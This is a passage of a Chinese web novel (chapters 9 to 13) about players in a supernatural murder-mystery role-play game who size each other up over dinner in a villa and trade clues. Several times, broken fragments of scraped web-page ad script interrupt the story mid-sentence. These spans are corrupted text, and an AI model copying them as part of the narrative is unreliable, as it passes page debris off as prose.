最该担心的楚回直接坐下,他在位置上感受了几秒,又站起来看了看,再次坐下,才提醒官素月,“坐下吧,姐姐。”
官素月坐下。
她们静静等了片刻,楼上陆续有声音响起。
率先响起的其实是脚步声,而后是不耐烦的不爽:“烂别墅,啧。”
9. 第九章
其实这评价还算中肯。
这所别墅实在是太大了,房间又是成套的,相当于一个大型迷宫,比迷宫更不幸的是这里即将发生一场命案,如此复杂的建筑只会给盘凶手造成困难。
但这么直白地说出来,还是在异常NPC面前说出来,是不是有些……
肉眼可见的,‘陈先生’的脸皮抽动了几下,幽幽地向楼上看去,这个评价好像戳中了他的心窝,他的一双死眼几乎要喷出火焰了。
但饶是如此,他依然老老实实地坐在位置上,没什么发出尖锐爆鸣满地乱爬冲上去就是撕的征兆,活像个被当面骂了也不敢吱声只能暗自气炸的软包子。
……他不能对玩家出手。
起码不能光明正大地直接干掉玩家,顶多只能玩小手段,比如在花园热情邀请玩家喝茶。
官素月不动声色地移开视线,像盲人虽看不到却会本能闻声侧首一样抬眼去看楼梯。
有两个人正在往下走,走在前面的是闻明玉,他很符合[画家]人设地搬着一套颜料小箱子,显然看到了‘陈先生’难看的脸,眉头皱了起来,但他回头看了看,没有说什么。
走在后面的,就是那位‘面刺寡人者’的玩家,他穿着一套英式西装,披了件大衣,不说话的时候看起来很帅气,是具有攻击性帅,但一张嘴……
西装男也在看下面,他看到了怒目而视的‘陈先生’,于是挑起了一边的眉头,“啧。”
什么都没说,但仿佛又顺口骂了句NPC也很烂。
‘陈先生’:“……”
“客人,”他咬牙笑了起来,露出红里透白的牙龈,堪称皮笑肉不笑的巅峰,“你礼貌点。”
官素月:“。”
其实在调查阶段玩过几本烧脑的剧本杀之后,她本以为这场剧本杀游戏的风格大概是‘表面一片和谐、内里暗潮涌动,春风拂面杀人无形,智商与演技的比拼’。
但现实和她想象的好像有点点不一样,个别玩家很好骗,个别玩家很社恐死不抬头,个别玩家很勇。
西装男已经观察完了整个餐厅,也发现官素月的眼睛似乎有问题、没有焦点,他加快脚步径直走到餐桌前排,先扫了眼坐得最远的楚回。
这次他连‘啧’都没出声,直接转头问‘陈先生’:“位置是固定的?”
闻明玉将颜料箱子放在旁边,开口解释:“位置是由‘陈先生’指定的。”
“哦,”西装男点头,又看了眼楚回,仿佛在说‘怪不得你一个手脚齐全的正常人居然躲在一边,让一个盲人坐危险的地方’,“能换位吗,老陈,我坐这里,让她去后面。”
……老陈?
官素月稳了稳表情,立刻意识到这位太敢说还有似乎很好心的玩家身份卡很好,和‘陈先生’起码是平等地位。
‘陈先生’的表现验证了这个猜测,他的脸色更难看了,眼看着像是一具在火炉边烤了半天所以烤黑了的尸体,他咬牙切齿:“哈哈,不行。”
“女孩子和女孩子坐得近点比较好,”他说得飞快,快得明眼人一看就知道他是想赶在西装男再说话前说话,“我女儿等下就坐我左手边,和[官妹妹]刚好对坐,挺合适的。”
“[江总监],你就在右边第三个坐下吧,[简画家]来,你坐左边第二个。”
安排完,他直接转移话题,“[江总监]下午休息还好吧?晚会儿开始仪式的时候可得记集中注意力,大师不太耐烦接新手的单子,到时候我手把手教你,你回头再约个时间找大师为你爹祈福!”
西装男和‘陈先生’对视了几秒,从表情中读出不让步,就转身入座了,“OK。”
官素月垂下眼睫,余光瞥到他坐下了,就侧过脸对他微笑了一下,示意:谢谢。
她又隐晦地去观察自己对面的位置,思索起了一件事:为什么对面位置没座椅?
‘陈先生’的女儿不需要椅子?
思考间,楼上又有动静传来,是徐示白。
他看起来洗漱过,已经换了一套衣服,还是西装,没穿西装外套,头发是半湿的,没彻底吹干,脚步很轻,下楼时才传来点动静。
‘陈先生’抬头,直直地盯了徐示白片刻,看他没开口阴阳怪气,立刻飞速开口,“[官哥哥]来了?”
“来,坐你妹妹旁边。”
本来,楚回只闻声抬头扫一眼,听到‘陈先生’叫出口的称呼,他立刻再次抬头,认真地观察徐示白。
观察了几秒,他去看官素月,发现她在侧耳听脚步声、还微笑了起来,一副见到队友很安心的样子,就再次看过去,“咦,你刚刚洗过澡?”
他用正常,没什么反感,听起来像大大咧咧没多想随口开玩笑的语气问:“不会是提前布置了机关之类的定时杀人装置,身上沾了什么,心虚,刚行动完吧?”
正常环境下这种玩笑没什么,但在剧本杀的背景设置下,这种‘玩笑’就有点微妙了,说不定就会让其他玩家怀疑徐示白。
因为徐示白洗澡确实有点莫名其妙:玩家们进入游戏还没一个小时,衣服都被系统更换过,什么情况下需要洗澡呢?
官素月:“……”
她侧目过去,看向楚回阳光灿烂的笑脸,很难不迷惑:不是哥们,你……
洗澡有疑点,但可以用更委婉的方法柔和试探,而不是一开口就把自己和徐示白拉成焦点位,其他玩家会因为这句话注意徐示白,也会注意楚回。
算了,有点离谱,但和[江总监]比起来,没那么离谱。
她收回视线,去看徐示白。
徐示白在她旁边坐下,没什么表情地拿出手机打字,过了会儿,手机棒读:“刚进游戏时我刷新在酒柜边,没注意,打碎了几瓶酒。”
楚回笑眯眯的,没说信也没说不信,“是吗?怪不得。”
其他玩家收回视线。
‘陈先生’左看看右看看,没吭声。
又过了片刻,有新的动静响起,这次不是从楼梯方向响起的走路声,而是一道清脆的提示:“叮!”
是电梯的提示声。
楼梯附近的一扇木门打开,向两侧移去,露出一个电梯轿厢,里面有两个人,一个人站着,一个人坐在轮椅上。
站着的是那位绿耳饰保镖,他还是低着头,站在电梯的最内侧,在电梯打开时头也不抬地往前走了两步,握住了轮椅的推手,将轮椅推出电梯。
轮椅上的是一个女孩子,她的头发很长,没扎,因垂首而垂下,像是贞子一样挡
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
住她的脸颊,她穿着一件风格偏休闲的宽松裙子,肩上围着一条白色的毛茸茸披肩,整个人看起来有些害怕惊恐。
被推出电梯大约三四米,她才悄悄抬头了几分,飞速地瞥来一眼,于是一张苍白消瘦的脸颊从黑发间露出了点。
可能是所有人都无声看过去的样子有点吓人,只一眼,她就匆匆低下头,放在膝上的手攥紧了裙子。
保镖沉默地将她推到餐桌左侧第一个座位,而后退开,询问‘陈先生’:“要上餐吗?”
‘陈先生’在打量轮椅上的女孩子,越看越满意,俨然是一副‘太好了,是软柿子!’的狂喜态度,“好好好,女儿你终于来了!”
“好,上菜吧!”
餐桌上的玩家们都没说话,官素月用余光扫视其他玩家:
徐示白从一开始就在看轮椅,此时看不到了就用拇指摩挲手机,可能是在思考这位玩家是真的无法行动、还是和他的‘哑巴’一样是假的。
西装男正在一脸微妙地看全场,视线重点是看坐在轮椅上的女孩、官素月和徐示白,他没有说话,但他的表情在说:……老弱病残这么多,认真的?
简明玉的眉头又皱了起来,不过表情柔和,一看就是有点担忧身体有缺陷的玩家,是不是装的暂时看不出来。
楚回……
楚回根本没看过去,正在撑着脸看官素月,看着看着,他笑了起来。
官素月:“?”
她欲言又止,止又欲言,最终碍于自己应该看不见,就直接无视,在保镖推着餐车回来时,轻声和对面的女孩子搭话,“你好,你的身份是‘陈先生’的女儿吗?”
“我是[官妹妹],是‘陈先生’邀请来协助仪式的童女。”
女孩子过了几秒才慢慢抬头,犹豫地看过来,她抿着苍白的嘴唇,和官素月的微笑对视时避开了一下眼神、又移回来直直注视,“嗯,我的身份是[戚养女]。”
她的眼珠子很黑,大半的脸颊仍被黑色的长发遮挡着,直直盯人的时候有点像女鬼。
一个白色的提示从她的头顶浮现出来:[戚元青]
简明玉也开口自我介绍身份:“我的身份是[简画家],在住别墅期间负责为‘陈先生’绘制肖像画。”
“我是[楚下属],是‘陈先生’的下属,因为公司的事临时赶过来的。”楚回简单说明。
之后是西装男,“[江总监],和‘陈先生’算合作伙伴,我父亲重病,医生说情况不乐观,打算用邪门歪道治病,过来观摩学习。”
说完,他点评,“急得撞墙的降智行为。”
他的头顶浮现出名字:[江开]
徐示白用手机介绍,“[官哥哥],童男,哑巴。”
‘哑巴’其实不用说,这是个显而易见的事。
最后介绍的,是一份一份分着餐的保镖男,他从左侧开始分,其他人都说完时他没有说话,继续分,直到分到最后一位玩家,将餐放至官素月面前时,他才头也不抬地说:“[戚保镖]。”
官素月感受到了他垂下来的视线,抬头看去,却见他后退离开,只看到了自他头顶浮现的名字:
[戚向榆]。
这个名字……
没印象。
10. 第十章
[戚]不是一个太大众的姓氏。
在戚向榆分完餐入座后,官素月不着痕迹地看了会儿,发现他还是一直低着头,用餐时动作很轻,几乎没有发出任何声音。
晚餐是西式风格,每个人都三个盘子,分别是牛排和像拇指大小的东西,是饿的人吃完也吃不饱只能勉强七分饱的份量,看起来还蛮正常的。
但没有其他玩家动。
整个餐桌上,除了‘陈先生’,只有负责准备晚餐的戚向榆在用餐,其余人都保持着静默,连同姓戚的戚元青都没有动。
她仍垂首缩在轮椅上,看起来不像是认识和自己同姓的保镖,偶尔的悄悄抬头也是看向对面的官素月。
似乎是察觉到气氛好像有点不对,用刀叉用不惯干脆大口啃牛排的‘陈先生’抬头,他上面的嘴吃着,脖子的缝漏写,“怎么了?[戚保镖]的厨艺不错,各位客人快尝尝。”
颇为殷勤。
要么晚餐有鬼,要么他不想让玩家舒服,故意让玩家觉得晚餐有鬼。
无论是哪种,都没人接招,经过短短片刻的相处,大部分玩家都已经清楚了:‘陈先生’干不了太大的事,当个死人直接无视就好。
在一片沉默中,楚回率先开口:“你们同姓,性格也差不多,”
“不意思意思地说几句‘不认识’吗?”
他看向的是戚向榆,面上还带着笑,语气也颇为轻快,很友好询问,但官素月听了一耳,敏锐地发现他有些不高兴和针对。
像刚刚突然针对徐示白一样的针对。
她不由得多看了看楚回,不理解但尊重,想了想,干脆也开口,“应该是队友?”
“我的身份是[官妹妹],这位先生的身份是[官哥哥],但其实我们并不是亲生兄妹,他也不姓官。”
可徐示白的身份卡上的姓氏是[官],是随官素月姓。
这一点,在他开口简短自我介绍时,其他玩家就能从他头顶闪现的名字提示上发现,现在没人说,只是玩家的交流还没交起来,在谨慎摸索的初期阶段罢了,等之后绝对会有人提出来的。
如果是聊得火热阶段时聊这个话题,说不定就有人会推测‘[官哥哥]是跟[官妹妹]姓?那是不是在这场剧本杀中,妹妹比哥哥重要?’。
此时趁着[戚保镖]和[戚养女]的话题是焦点位时,顺势说出来刚好。
思绪转动间,官素月面不改色,语气也柔和,“我是盲人,[官哥哥]是哑巴,我们的身份是亲密身份,大概是因为我很难像正常人一样作案。”
“戚小姐应该和我一样?”
言下之意是[戚保镖]和[戚养女]的身份应该也有联系,是合作伙伴。
玩家中有两对天然同盟可不是什么太好的消息。
但戚向榆却立刻矢口否认了,“不,他和你不一样。”
在楚回突然出声点他的时候,他便中止用餐,但手仍握着刀叉,直到官素月说话,他才放下刀叉,中止用餐,“哪怕腿断了,他照样能杀人。”
前半句是咬重发音强调的,在自己处于焦点位事,戚向榆终于不再一直低头,将头抬起了几分,整体还是垂着的,却已经能看见眼睛了。
他的面庞是侧对向官素月的,眼睛没有看她,在看下方,垂下来的眼睫和碎发挡住了他眼睛里的大部分情绪,“如果是‘陈先生’这种东西,他起码能找到四五种作案方法。”
官素月:“?”
官素月:“……”
‘一个坐轮椅的女性能轻松干掉正常成年男性’这一点,可以暂时忽略,毕竟理论上的武力值并不是万能的,实战起来就不一定了。
现在的槽点的:“……你们有仇吗?”
这句话是简明玉问的,他有一双很适合当画家的手,听着听着便将手交叉着抵在桌边,很是费解了一会儿,才勉强问出。
“喂,”江开叩了叩桌子,对‘据说坐轮椅都能杀人’的戚元青道,“说话。”
“解释或反驳。”
他淡淡道:“出现在这里的每一个人都不是善茬,你有嘴开口就行。”
江开面无表情说话的时候还挺有压迫力的,官素月眼见着戚元青的头更低了几分,几秒钟后才犹豫着抬起。
她用手将一边的头发刮到耳后,露出了小半张苍白的脸颊,“我……对不起……”
忽略掉NPC,玩家之中只有坐在对面的官素月能看见她露出的半张苍白脸颊、微蹙的眉头,也看见她视线游移间湿润起来的眼眶,“哥哥说我,是因为我、我以前害
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
死过父亲……”
嗯?!
官素月立刻控制表情,没有挑眉,慢半拍地歪头,表达一下对重磅消息的诧异。
“我做饭的时候忘记关火了,”戚元青低声,断断续续地交代,“所以、”
“对不起,”
她又垂下眼睛,黑色的眼睫湿了几分,慢慢眨动间挺可怜的,可能是因为想哭,脸颊反而升起了几分诡异的红晕,她没有转头将这份可怜展示给自己要道歉的对象看,而是又向餐桌侧的空地偏了偏首,于是官素月完完整整地看清了,“对不起,哥哥。”
官素月:“……”
哇哦,挺好看的,还挺在她的审美上的。
她多看了几眼,才去看戚向榆。
戚向榆没有转头去看解释的戚元青,对一连串断断续续的可怜解释的反应只有:“哦。”
然后直接对其他人言简意赅:“他在装。”
官素月:“……”
哇哦。
好抓马。
可能是其他人都有眼睛,在盯着这场双方辩论,戚向榆再次抬头,视线扫视一圈,最终看向官素月,“剧本杀游戏不是随便选人的,每位玩家都是精心挑选出来、和角色具有一定契合性的人,”
“每个角色都饱含杀意。”
换而言之,“现在在场的所有人,要么是杀人既遂的危险分子,要么是杀人未遂的危险分子。”
场上的气氛发生了微妙的变化。
官素月的眼睛动了动。
在此之前,她没有搜查到这个剧本杀游戏的信息,更没有找到些什么‘玩家都不是好东西’的情报。
但戚向榆一说,她几乎是立刻信了一半:原因很简单,在场的玩家里,不太正常的玩家有点多。
徐示白开局酒瓶杀也佐证了这点,可不是什么人都能果断用酒瓶砸人的,除非本来就不是好东西。
隐晦地瞥吗眼徐示白,官素月又看向戚元青,发现她的脸色越发苍白、可两侧脸颊却更红,眼眶也湿润着红了起来。
她匆匆着低下头,重新埋于黑发间,肩膀微不可察地轻颤,似乎是哭了。
安静之后,率先开口的是江开。
“看什么看,”他骂‘陈先生’,“低头吃你的饭。”
11. 第十一章
‘陈先生’:“???”
他早已大口嚼完整份餐,正在看左看右,一看一个嘴角疯狂上扬,措不及防被骂,他反应了会儿,才不可置信地反应过来,“[江总监]!”
“虽然我们是合作伙伴,”他阴沉着威胁,“但你说话的时候……”
江开:“闭嘴。”
“死人不要说话,”他面露不耐烦之色,看向其他玩家,“准确的说,是玩家和角色有共同之处,或身份相同,是杀人既遂或未遂者,或性格相同,或经历相同。”
他说,“你们有恩怨自己解决,但投票环节不能少玩家,别没脑子忘了这点。”
在他说话时,官素月感觉身侧的徐示白突然僵住了,于是立刻将余光重点挪过去。
她仔细地观察徐示白的表情,思忖他僵住的原因。
几秒后,他动了起来,小幅度地在自己身上翻找着什么,又很快停住,摸出手机,再次僵住。
几乎是同时,官素月明白了他僵住的原因。
「客人很多。」
「……客人实在是太多了,每个人都在动,每个人都在心怀鬼胎,连空气都仿佛染上了躁动,你知道,你的哥哥开始不安了。」
「他有很长一段时间没有和你产生肢体接触,很不安。他和血海之仇的敌人相距不足三米,很不安。他看到了争吵,很不安。」
「他总是需要你的安抚,而你总是能及时地安抚住他,现在,安抚他吧。」
官素月:“?”
她缓缓眨动眼睛,看到一半,顿了顿,又重头开始看,试图品味这些看似很正常的文字提示里的复杂信息。
……和复杂的其他什么东西。
「支线任务③已触发。」
「任务说明:你的哥哥很不安,随时可能陷入想要保护你的极端暴躁状态。」
「任务要求:安抚‘哥哥’。」
徐示白还在握着手机僵住,他久久地不动,很艰难了会儿,才勉强摁手机编辑要说的话。
打出半行,又闭上眼睛立刻删掉,看起来有点崩溃。
官素月坐得近,瞥到了屏幕上一闪而过的字:[我需要亲]
她沉默了。
在徐示白又打字、又删除着纠结半天之前,她悄无声息地伸出手,虚拽住他的袖口。
他停住。
餐桌上的其他人还在说话,[简画家]附和说玩家确实和角色有一定的重合率、可能是危险人物,又说一场游戏的玩家之间,或多或少都是有联系的。
浅的联系可能是某位玩家的朋友和另一位玩家的朋友认识,或某位玩家和另一位玩家擦肩而过过,或看过其他玩家的新闻之类的。
深的联系就是亲兄妹这种。
他又说玩家可能是败类,但死者一定是罪大恶极到活该被三刀两毒,在解决死者之前玩家们还是先别内讧。
官素月的面庞侧过去,看似认真聆听每位玩家的说话,注意力分了点在被反握住手腕的手边。
徐示白把手机音量调到一格,将手机塞进了她的手里,她将手机移到另一只手里,在桌下按播放。
不大的音量沉没在不太和谐的气氛和说话声中,坐得远的其他人没听见,“系统提示我说你是被领养的,但走的不是正常领养手续,所以你的身份没有变动,还叫原来的名字,证件是独立的,在警方档案中和我唯一的联系只有‘双方父母认识’。”
这一大长串话的意思……
官素月控制住表情,将手机还回去。
她不动声色地看了看‘陈先生’和戚元青,前者听到了点声音,但对玩家之间勾心斗角乐见其成,假装没察觉,后者仍在垂着首,时不时才会肩膀轻颤一下,偶尔会露出点白皙的鼻尖和抿得很紧的唇,有一种柔弱脆弱的美。
还未打量完,她的手边又被塞进了手机。
“系统要求我需要获得你的安抚。”徐示白的用词很委婉,“我们之间的关系或许不只是‘没有血缘关系的家人’。”
官素月:“。”
这已经是明摆着的事了吧,什么关系安抚才需要……
他没说要怎么安抚,她就假装握手腕已经够了,将手机递回去。
再一次传递手机时,徐示白很局促地问:“我可以握住你的手吗?抱歉,是系统要求。”
官素月动了动手腕,将手伸进他的手里。
“你和[楚下属]认识?”徐示白又问,“抱歉,系统让我问的。”
他解释了很多,“他对我有敌意,针对我是因为你。”
虽然针对的时候压根没提官素月,没让其他人注意过去,很隐晦。
“但[官哥哥]很在意[官妹妹],系统要求我在你没有甩开我的时候,我必须一直注意你。”
所以发现了楚回敌意来源。
“……他在看我们。”
官素月没有动,她的面庞维持着看向[简画家]的方向,眉头因不妙的气氛而蹙起,仿佛没有察觉到楚回已经长达一分钟的关注。
他其实没有看得太光明正大,大概是不想其他玩家也发现她们之间的小动作,只偶尔才正视过来、多用余光看。
将手机塞回去时,官素月顺手在徐示白手心回复:“不认识。”
她划了三遍,觉得只要徐示白没有走神、肯定能分辨出来,才停下。
餐桌上的谈话已经暂时告一段落,徐示白没有再递手机。
江开看了眼时间,“七点半了。”
他没避其他玩家,直接详细而明确地问:“你说大师修行特殊,你们只在线上联系,之前一定有线下必要时都是他派其他人出现,但这次仪式重要,他会在八点出现,九点主持仪式,”
“他还没来吗?”
“[江总监]真是好心人,”‘陈先生’皮笑肉不笑,“有什么信息都直接说出来。”
“大师下午的时候回过我信息,说已经来了,”他拿出手机看了会儿,将表情卸下脸,没什么表情地道,“既然用餐不愉快,还有人闹矛盾、恶意危险我的人身安全,那晚餐时间就到此为止吧。”
“我去二楼书房工作,[戚保镖]跟我来。”
死者要离开人群。
官素月翻译:作案时间快到了。
接下来,大概就是所有玩家以各种各样的理由暂时离开餐厅去接触死者了。
她不动声色地去看其他人的表情。
第一个行动起来的人是楚回,他皱着眉站起来,视线在看半空,“……我收到紧急通知,五分钟后公司有个会,要先回房间开会。”
第二个行动起来的是官素月。
「有人在小声哭泣、发抖。」
「你察觉到了,很无奈,但因为她漂亮,柔弱,无所依靠,又危险,所以愿意给出拥抱。」
「坐轮椅的人可没法单独行动,你决定___」
「A.你决定送[戚养女]回房。」
「你会尝试安抚她,虽然你双目失明,但她可以当你的眼睛,虽然她无法行动,但你可以当她的双腿,还挺合拍的,不是吗?」
「B.你决定和[官哥哥]一起,送[戚养女]回房。」
「你的哥哥只获得了一
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
点如水滴般的安抚,仍像在沙漠中行走的人一样迫切地需要你的安抚,他是如此的不安,你想,你愿意给予他一点安心。」
官素月看着系统提示。
第二个离开,这无疑是一个不妙的消息,说明她无法再观察记录其他人的离开顺序和时间。
系统提示的详情更不妙,就差直说:是的,你们关系不正常。
这是‘哥哥’吗?是狗吧……
玩家和角色具有一定的重合性,官素月微妙地想:只有一点点,她对养狗不是很感兴趣,很久没养了……
她压下叹气,站起来,用其他玩家一听就知道是系统发布了任务、她在以角色的视角说话的语气,叫徐示白,“哥哥,我们把戚小姐送回房吧?”
在她选择[B]的瞬间,徐示白眼神微凝看向半空,也收到了新的任务。
戚元青闻声看来,她仰起脸看已经站起来的官素月,伸手别了下遮住脸的黑发,一副仍沉浸伤心中的失落样子,很是感激地道:“谢谢。”
如果不是立刻就闻声抬头的话,伤心得还挺有说服力的。
官素月的视线在戚元青微红的脸颊上转了转,发现她碰头发时,不知是有意还是无意地用手挡住了自己的脸,从徐示白和其他人的角度,应该都无法看到。
她若有所思地扶着徐示白走过去。
系统提示中其实有半句很有意思:‘虽然她无法行动’。
戚元青真的无法行动吗?
是盲人,却因系统开启了视障模式而可以看见的官素月不这么觉得,但全场的玩家中只有三位处于debuff状态,徐示白的哑巴又是假的,意识不到系统会提供帮助这一点。
他主动推起轮椅,官素月的手搭在他的臂弯处。
但刚走两步,戚元青便握住了官素月的手,她的手很凉,声音也很轻,“他在推轮椅,姐姐牵我的手吧?”
又解释,“我听刚刚有人叫你姐姐,所以……我叫戚元青,其实应该比你大几岁。”
她对徐示白的称呼是‘他’。
好像有点微妙的不友善,不确定,再品品,官素月快走了两步和轮椅并齐,“既然比我大,直接叫我官妹妹就好了,那我叫你……”
在‘戚姐姐’的称呼出来之前,戚元青轻声道:“元青,你叫我元青就好,我可以叫你阿月吗?”
她对官素月微笑,又露出了些失落的表情,“谢谢你送我回去,我以为大家听我哥哥说了那些话后会很反感我。”
“我真的不是故意的……”
送人回去的似乎还有一个徐示白,官素月确定了不是错觉:戚元青不太待见徐示白。
或者可以说是不太待见其他男性?
她思忖着,面上却也微笑,顺势问:“听起来你那时还小,是、”
“八岁,”戚元青道,“我当时八岁。”
“我是很久之后,长大了,才彻底反应过来我小时候做了些什么,”她又垂下了脸,“哥哥讨厌我是应该的,所有人讨厌我都是应该的。”
官素月的眉头动了动,“很多人都讨厌你?”
“嗯,”戚元青的手很修长,在行动间,她自然而然地和官素月十指相握,“不过,也有人喜欢我,说不是我的错。”
她抿唇笑起来,“可能是因为是先在网上认识的,比起现实的一切,先拥抱了彼此柔软的心吧。”
“网友吗,”官素月不动声色地动了动手,没甩开挤进自己指间的手指,“是喜欢的人?”
戚元青:“是。”
“我很喜欢她,她也很喜欢我。”
12. 第十二章
戚元青的房间在二楼,离书房很近,只隔了两三个房间。
开门之后,她说:“进来坐坐吧?”
别墅的隔音不错,在路过书房门口时,官素月听到了很轻微的声音,疑似‘陈先生’在大发雷霆些什么,可站在戚元青的门口,就只能听到一片安静了,无论是书房还是楼下的声音都听不到一点。
她闻言低了低头,“方便吗?”
“方便的,”聊了会儿,戚元青的状态恢复了许多,脸色已经不再那么苍白了,红晕却还在,“系统给我发布了任务。”
“系统说[戚养女]曾在无意间听到‘陈先生’和你打电话,没听到具体的内容,但看到他明明很生气、却在被挂断电话后连忙打回去,好像有求于你,所以她对你很……”
大概是在为难措辞,斟酌了片刻,她才抿着笑说出一个确切的形容,“好奇。”
她又说:“我们交换情报吧,我可以告诉你我的视角的‘陈先生’的事。”
不知道有意还是无意,戚元青表现得像是在场的只有两个活人、徐示白根本不存在一样。
官素月知道是有意,她思考了几秒便答应下来,“那我们进去聊。”
“好呀,”戚元青开心地用脸颊贴了贴官素月的手,笑了起来,很快又为难起来,仰起脸,欲言又止,“不过,女孩子的房间、”
成年男性还是别进了吧?
很奇怪,明明看起来很可爱,是好看的女孩子,散着黑发时整个人看起来非常柔弱纤细,可是直到官素月的手被贴住,她才发现戚元青的脸好像有点……
修长?
官素月的手指是偏长的,可戚元青的脸要比她的手还要长一点。
“不。”徐示白举起手机,“我不会让她和你独处。”
手机自动播放的声音的时候,他没看戚元青的表情,在看官素月被缠住的手。
“……好吧,”戚元青等了两秒,没等到官素月开口,便明白她的意思了,“那你也进来吧。”
和官素月的房间一样,戚元青的卧室也是套房,外面是客厅、里面是卧室和卫浴,更微妙的是客厅里同样摆着酒架,桌椅的布置也一模一样。
这说明一件事:‘陈先生’压根没考虑所谓的女儿,连房间里的家具都没有为她调整成无法行走的人的舒适度。
进门第一句话,戚元青说的就是:“我和‘陈先生’有仇,名义上是我的父母死亡后无人照料我,他刚好没有孩子,于是以亲戚的身份收养了我。但其实我父母的死亡是他逼的,他以为我不知道,其实我知道,一直怀恨在心,想要杀了他。”
“这次别墅之行,就是我打算行动的时刻。”
剧本杀的每位玩家都必然会对死者下杀手,官素月对戚元青透露的信息内容没什么惊讶的,但对她如此坦荡直白说出口而惊讶,“你、”
她想了想,“那你和[戚保镖]?”
“他在现实里是我的哥哥,在剧本杀里也是我的哥哥,”戚元青没停顿,直接回答,“‘陈先生’不知道。”
“剧本上说我父母死亡时、[戚保镖]在外留学,我被收养后先收到了我哥哥意外死亡的消息,又收到他其实没死、是察觉到父母死亡有谜团于是趁机假死回来复仇的消息。”
说完,她想了想,“我怀疑他就是那位大师。”
晚餐时刻,那位被‘陈先生’很重视的大师没有出现,假如他是玩家,还会出现在别墅中,那两种可能:
一,他的出场时间未到。
二,他其实已经出现了。
可能就在别墅里的某个角落,也可能正是某位已经出场的玩家。
而戚元青此时的偏向显然是后者。
官素月轻声问:“为什么?”
“‘陈先生’很信任大师,信任到了不可思议的程度,”戚元青详细解释,“他现在虽然势力很大、很有钱,但其实是最近十几年才有钱的,一开始是个在街道上摸滚打爬的小混混,后来倒卖发了笔钱,又攀上人做正经生意,之后才慢慢起来势力的。”
“除了自己,他不信任所有人,连情人都不信,我曾买通他的情人对他下药、但他根本不接情人递过来的任何食物饮水,只放心自己的保镖,就连过夜都不是在情人家,是提前半小时给情人发临时见面地址。”
“在这种不信任所有人的情况下,大师对他说要来一个他从未到过的地方举行所谓的仪式,还邀请他的仇人来此,他居然同意了。”
那确实很奇怪。
其他玩家如何不好说,但‘陈先生’是明确知道自己和官家兄妹有仇的,他难道不怕官家兄妹表面顺从、实则打算动手吗?
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“大师一定是一个很了解‘陈先生’的人。”
最后,戚元青如此说,“所以我认为是[戚保镖]。”
他都混成了心腹,一定很了解‘陈先生’。
官素月思索着这些信息,对戚元青露出一个笑,“谢谢你告诉我们这些,你想知道些什么?”
比如杀人动机。
比如她们视角的信息。
直到此时,戚元青才仿佛看见了徐示白,她的视线在徐示白和官素月的身上打量了几圈,问的第一个问题居然是:“你们虽不是亲兄妹,但应该亲如兄妹吧?”
……什么?
官素月没料到是如此和案件不相关的私事,她怔了怔,感受到了很微妙的古怪。
“怎么了,很难回答吗,”戚元青像玩花绳一样纠缠着官素月的手,“我看你们关系很好的样子,”
她露出毫不掩饰挑衅的微笑,在看徐示白,“应该和亲兄妹差不多吧?”
徐示白:“……”
他无法再忽视长久感受到的古怪了,面无表情地和戚元青对视。
戚元青却立刻垂下头,顺势将脸埋进官素月的手掌里,“对不起,我问了很冒犯的问题吗,[官哥哥]?”
“我不想问的,系统说是[戚养女]想知道,对不起,”她一连串地道歉,实在可怜,“当、当我没问过吧……”
“[戚养女]对阿月真的很好奇,迫切地想知道你们兄妹到底关系好不好……”
呃。
官素月在思考。
几秒后,她面无异色地回答:“没关系,不是什么不能问的问题,[官妹妹]和[官哥哥]的关系很不错。”
“真的吗?”戚元青盯着半空看,语气惊奇,“系统说我很庆幸为[官哥哥]准备了一份丰厚的礼物来讨好哥哥,”
“啊,我知道了,[戚养女]一定是想和你成为朋友吧?所以才对你的事很好奇、还想要讨好你的哥哥。”
嗯……
徐示白在摁手机了,好像想说些什么。
“是的,”官素月语气正常,“别墅里只有两位女性,大概是很害怕,所以想成为朋友吧,我也很想和你成为朋友。”
说完毫不停顿,直接开启另一个话题,“门外有脚步声。”
“好像有人来二楼了?”
13.第十三章
进门时,徐示白没有关紧门,是虚掩上门的,留了一个大约两三厘米的缝隙。
正是这条缝隙,让外面的动静传了进来。
先是一串很轻的脚步声,随后是开关门的声音,外面重新安静了下来,好似已经没有人了。
……真的吗?
一种不舒服、完全是直觉的微妙感从脊椎处蹿起,只迟疑不到一秒,官素月便果断开启种族天赋。
她重新听到了声响。
这次不再是上下楼梯的声音,而是从几乎就只相距两三米的位置响起的脚步声,很轻,微不可察,在短暂的动物化下才被捕捉到,旋即便再无声响,连呼吸声都没有。
这几下处于靠近尾声的轻微动静,在官素月的脑海里轻松勾勒出一个走过来窃听的人影,她眯起了黑色的眼睛,解除种族天赋,不动声色地去看另外两个人。
她不知道另外两个人有没有开启种族天赋、又能不能捕捉到细微动静,很显然,这种微不可察的动静是正常人类所无法捕捉的,如果他们两个毫无所觉的话……
但状似凝神观察外面动静、自然而然侧脸去看另外两人时,几乎是瞬间,官素月便发现徐示白的眼睛定定地盯着门口。
他的面部是紧绷的,瞳孔好像缩了些、比之前更窄,头顶的柔软黑发突然动了动,类似有小动物穿行的草丛在摇晃。
异常一闪而逝,只眨眼的功夫,徐示白就恢复了正常,只余身体还是紧绷着的,他同样第一时间转头看向官素月,表情也发生变化。
但很快,他意识到自己是在试图和瞎子对视、无声传递面部的信号,而自己又是一个明面上的哑巴,要说话必须使用手机。
他沉默了,伸了伸手。
就在这个沉默的空拍,戚元青恰好抬起另一只手去握官素月的手,刚好不小心挡住徐示白的手,他道歉了一下,像觉得外面的人已经走了一样,继续刚刚的话题:“原来阿月也是这么觉得的,太好了,我没有朋友,刚刚还在犹豫是不是我的错觉呢。”
“……而且,”
戚元青飞快地瞥了官素月一眼,又垂首,露出红起来的耳朵,“而且,好像有点像喜欢……”
“现在我终于确定了,是想要和你成为朋友。”
他说着,向外面看了一眼,欲言又止地顿了顿,“刚刚、哥哥、”
刚刚在外面行动的可能是戚向榆。
戚元青没有明说,而是像又想起餐厅里发生的事一样,犹豫着蹙起眉,很小声地道:“你离哥哥远一点,有的时候,他有点可怕,会莫名其妙就生气,还会动手。”
